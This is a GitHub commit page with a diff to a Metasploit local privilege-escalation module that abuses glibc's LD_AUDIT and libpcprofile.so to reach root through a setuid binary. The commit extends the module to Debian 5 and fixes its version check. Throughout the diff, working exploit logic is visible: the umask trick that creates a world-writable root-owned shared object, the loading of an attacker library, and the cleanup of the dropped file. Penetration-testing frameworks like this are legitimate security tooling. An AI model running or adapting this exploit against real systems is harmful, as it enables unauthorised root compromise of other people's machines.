Skip to content

Commit 5b251ae

Browse files
committed
Support shell sessions on Debian
1 parent 7cbf89f commit 5b251ae

File tree

1 file changed

+11
-8
lines changed

1 file changed

+11
-8
lines changed

modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb

Lines changed: 11 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -34,10 +34,11 @@ def initialize(info = {})
3434
LD_AUDIT resulting in arbitrary code execution.
3535
3636
This module has been tested successfully on glibc version 2.11.1 on
37-
Ubuntu 10.04 x86_64.
37+
Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.
3838
39-
RHEL 5 and Debian 5 are reportedly affected, but untested. Some glibc
40-
distributions do not contain the vulnerable libpcprofile.so library.
39+
RHEL 5 is reportedly affected, but untested. Some glibc distributions
40+
do not contain the libpcprofile.so library required for successful
41+
exploitation.
4142
},
4243
'License' => MSF_LICENSE,
4344
'Author' =>
@@ -95,7 +96,7 @@ def suid_exe_path
9596
def check
9697
glibc_banner = cmd_exec 'ldd --version'
9798
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
98-
if glibc_version.eql? ''
99+
if glibc_version.to_s.eql? ''
99100
vprint_error 'Could not determine the GNU C library version'
100101
return CheckCode::Safe
101102
elsif glibc_version >= Gem::Version.new('2.12.2') ||
@@ -142,8 +143,8 @@ def upload_and_chmodx(path, data)
142143
end
143144

144145
def on_new_session(client)
145-
# remove root owned shared object
146-
if client.type == 'meterpreter'
146+
# remove root owned shared object from system load path
147+
if client.type.eql? 'meterpreter'
147148
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
148149
client.fs.file.rm @so_path
149150
else
@@ -226,7 +227,7 @@ def exploit
226227
exp = %(
227228
umask 0
228229
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null
229-
umask 2
230+
umask 0022
230231
cat #{so_path} > #{@so_path}
231232
LD_AUDIT="#{so_name}.so" #{suid_exe_path}
232233
echo > #{@so_path}
@@ -240,7 +241,9 @@ def exploit
240241

241242
# Launch exploit
242243
print_status 'Launching exploit...'
243-
output = cmd_exec "#{exp_path}&"
244+
# The echo at the end of the command is required
245+
# else the original session may die
246+
output = cmd_exec "#{exp_path}& echo "
244247
output.each_line { |line| vprint_status line.chomp }
245248
end
246249
end

0 commit comments

Comments
 (0)